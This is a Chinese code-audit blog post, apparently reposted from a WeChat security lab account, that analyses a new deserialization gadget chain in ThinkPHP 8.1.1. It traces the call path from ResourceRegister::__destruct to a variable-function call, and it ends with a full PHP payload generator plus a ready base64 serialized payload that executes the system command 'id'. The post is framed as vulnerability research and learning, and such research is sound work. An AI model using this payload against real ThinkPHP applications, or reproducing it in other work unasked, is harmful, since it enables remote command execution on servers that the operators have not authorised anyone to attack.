日期:2025年01月15日
作者:Obsidian
介绍:ThinkPHP8.1的反序列化分析。
0x01 前期准备
ThinkPHP
在2024
年11
月27
日发布了8.1.1
版本,那么同样,本文将对新版本的代码进行审计,尝试发现不同的反序列化漏洞。
为了方便调试,本次分析将开启ThinkPHP
的debug
模式。
将tp
根目录下的.example.env
文件重命名为.env
,并将文件内容中的APP_DEBUG = false
修改为APP_DEBUG = true
,之后重启tp
服务即可。
详细的环境的搭建与调试,请参考前篇
ThinkPHP8.0的反序列化分析《
》
。
0x02 漏洞分析及复现
在进行代码审计之前,已经对前篇文章中的payload
进行了尝试,已经不可用了,所以这次尽可能的发现新的利用链。
那么书接上回,同样选择ResourceRegister
作为反序列化的起点,简化代码如下:
namespacethinkroute;
classResourceRegister{
protected$resource;
protected function register(){
$this->resource->parseGroupRule($this->resource->getRule());
}
public function __destruct(){
$this->register();
}
}
parseGroupRule
和getRule
方法的可用类,那么本次去寻找存在可利用__call
魔术方法的类。
/vendor/topthink/think-orm/src/model/Relation.php
,简化代码如下:
namespacethinkmodel;
usethinkModel;
abstractclassRelation{
protected$query;
public function __call($method, $args){
if($this->query) {
$this->baseQuery();
}
}
}
__call
魔术方法触发了baseQuery()
方法,但是在当前类中没有找到具体的代码实现,于是进行全局搜索。
Relation
的下面存在多个类,这里随便选择一个/vendor/topthink/think-orm/src/model/relation/HasOne.php
,简化代码如下:
protected function baseQuery(): void{
if (isset($this->parent->{$this->localKey})) {
......
}
}
PHP
对字符串的高级定义用法,可参考PHP
的官方文档:
https://www.php.net/manual/zh/language.types.string.php#language.types.string.parsing.advanced
利用这种用法,可以将$this->localKey
作为字符串,进而触发__toString
魔术方法,前提是$this->parent
为一个正常类。
全局搜索相关方法:
Conversion
类,这次同样选择它,但是走一条别的路线:
namespacethinkmodelconcern;
usethinkModel;
traitConversion{
protected$visible = [];
public function __toString(){
return$this->toJson();
}
public function toJson(int$options = JSON_UNESCAPED_UNICODE): string{
return json_encode($this->toArray(), $options);
}
public function toArray(): array{
$item = $visible = [];
foreach($this->visible as$key => $val) {
if(is_string($val)) {
......
} else {
$visible[$key] = $val;
}
}
$data = array_merge($this->data, $this->relation);
foreach($data as$key => $val) {
if(isset($visible[$key])) {
$item[$key] = $this->getAttr($key);
}
}
}
toJson()
方法,然后继续触发toArray()
方法,对$this->visible
进行了判断和操作,限制条件是数组的值不能是字符串,这里可以采用前文中的ConstStub
类进行绕过。其中$this->data
与$this->relation
均可控,继续跟进,发现触发了getAttr
方法,搜索相关关键字:
/vendor/topthink/think-orm/src/model/concern/Attribute.php
,简化代码如下:
namespacethinkmodelconcern;
usethinkModel;
traitAttribute{
private$data = [];
protected$json = [];
protected$jsonAssoc = false;
private$withAttr = [];
public function getAttr($name){
$relation = false;
$value = $this->getData($name);
return$this->getValue($name, $value, $relation);
}
public function getData($name){
if(array_key_exists($name, $this->data)) {
return$this->data[$fieldName];
}
}
protected function getValue($name,$value,$relation){
if(isset($this->withAttr[$name])) {
if(in_array($name, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($name, $value);
}
}
}
protected function getJsonValue($name, $value){
foreach($this->withAttr[$name] as$key => $closure) {
if($this->jsonAssoc) {
$value[$key] = $closure($value[$key] ?? '', $value);
}
}
}
}
getAttr($key)
,目前假设$key='a';
,那么getData
方法的参数是a
,只要保证$this->data['a']
存在,那么$value
就是$this->data['a']
,所以下一步触发方法是:$this->getValue('a', $this->data['a'], false);
。
下一步的判断是$this->withAttr['a']
存在,并且为数组;$this->json
数组中要存在a
,即可触发下一步$this->getJsonValue('a',$this->data['a']);
,至此所有条件是:
$this->data = ['a' => ''];
$this->withAttr = ['a' => ['']];
$this->json = ['a'];
$this->withAttr['a']
数组进行的foeach
操作,当$this->jsonAssoc
存在时,触发了$this->withAttr['a'][$key]($this->data['a'][$key], $this->data['a'])
。
这里用到的是PHP
的可变函数,也就是$a($b)
,将$a
变量的值作为函数名,$b
变量的值作为函数参数,具体可参考PHP
官方文档:
https://www.php.net/manual/zh/functions.variable-functions.php
于是,只要$this->withAttr['a'][$key]='system'
同时$this->data['a'][$key]='id'
,即可完成命令执行,$key
可以任意赋值。
根据前文,我们用Pivot
类来替代Conversion
类使用,完整调用链如下:
at ResourceRegister->__destruct() in Index.php
at ResourceRegister->register() in ResourceRegister.php
at Relation->__call() in ResourceRegister.php
at BelongsTo->baseQuery() in Relation.php
at Model->__toString() in BelongsTo.php
at Model->toJson() in Conversion.php
at Model->toArray() in Conversion.php
at Model->getAttr() in Conversion.php
at Model->getValue() in Attribute.php
at Model->getJsonValue() in Attribute.php
at $closure($value[$key],$value) in Attribute.php
payload
代码如下:
<?php
namespace SymfonyComponentVarDumperCaster{
classConstStub {
public$value = 'a';
}
}
namespace thinkmodel{
use SymfonyComponentVarDumperCasterConstStub;
classPivot{
private$data;
private$withAttr;
protected$json;
protected$jsonAssoc;
protected$visible;
public function __construct($obj='') {
$this->visible=['a' => new ConstStub()];
$this->data = ['a' => ['a'=>'id']];
$this->withAttr = ['a' => ['a'=>'system']];
$this->json = ['a'];
$this->jsonAssoc = 'a';
}
}
}
namespace thinkmodelrelation{
use thinkmodelPivot;
classHasOne{
protected$query;
protected$parent;
protected$localKey;
function __construct(){
$this->query='a';
$this->parent=new Pivot();
$this->localKey=new Pivot();
}
}
}
namespace thinkroute{
use thinkmodelrelationHasOne;
classResourceRegister{
protected$resource;
public function __construct(){
$this->resource = new HasOne();
}
}
}
namespace{
use thinkrouteResourceRegister;
$payload = new ResourceRegister();
echo base64_encode(serialize($payload));
}
//TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7czoxOiJhIjtzOjk6IgAqAHBhcmVudCI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MjM6IgB0aGlua1xtb2RlbFxQaXZvdABkYXRhIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6MjoiaWQiO319czoyNzoiAHRoaW5rXG1vZGVsXFBpdm90AHdpdGhBdHRyIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAanNvbiI7YToxOntpOjA7czoxOiJhIjt9czoxMjoiACoAanNvbkFzc29jIjtzOjE6ImEiO3M6MTA6IgAqAHZpc2libGUiO2E6MTp7czoxOiJhIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxWYXJEdW1wZXJcQ2FzdGVyXENvbnN0U3R1YiI6MTp7czo1OiJ2YWx1ZSI7czoxOiJhIjt9fX1zOjExOiIAKgBsb2NhbEtleSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MjM6IgB0aGlua1xtb2RlbFxQaXZvdABkYXRhIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6MjoiaWQiO319czoyNzoiAHRoaW5rXG1vZGVsXFBpdm90AHdpdGhBdHRyIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAanNvbiI7YToxOntpOjA7czoxOiJhIjt9czoxMjoiACoAanNvbkFzc29jIjtzOjE6ImEiO3M6MTA6IgAqAHZpc2libGUiO2E6MTp7czoxOiJhIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxWYXJEdW1wZXJcQ2FzdGVyXENvbnN0U3R1YiI6MTp7czo1OiJ2YWx1ZSI7czoxOiJhIjt9fX19fQ==
0x03 总结
后续查阅相关资料时发现,本次发现的利用链后半段,与ThinkPHP6
的反序列化利用链相似。后续会尝试继续发现新的可利用链,以此来学习整体的反序列化审计思路。
原文始发于微信公众号(宸极实验室):『代码审计』ThinkPHP8.1的反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论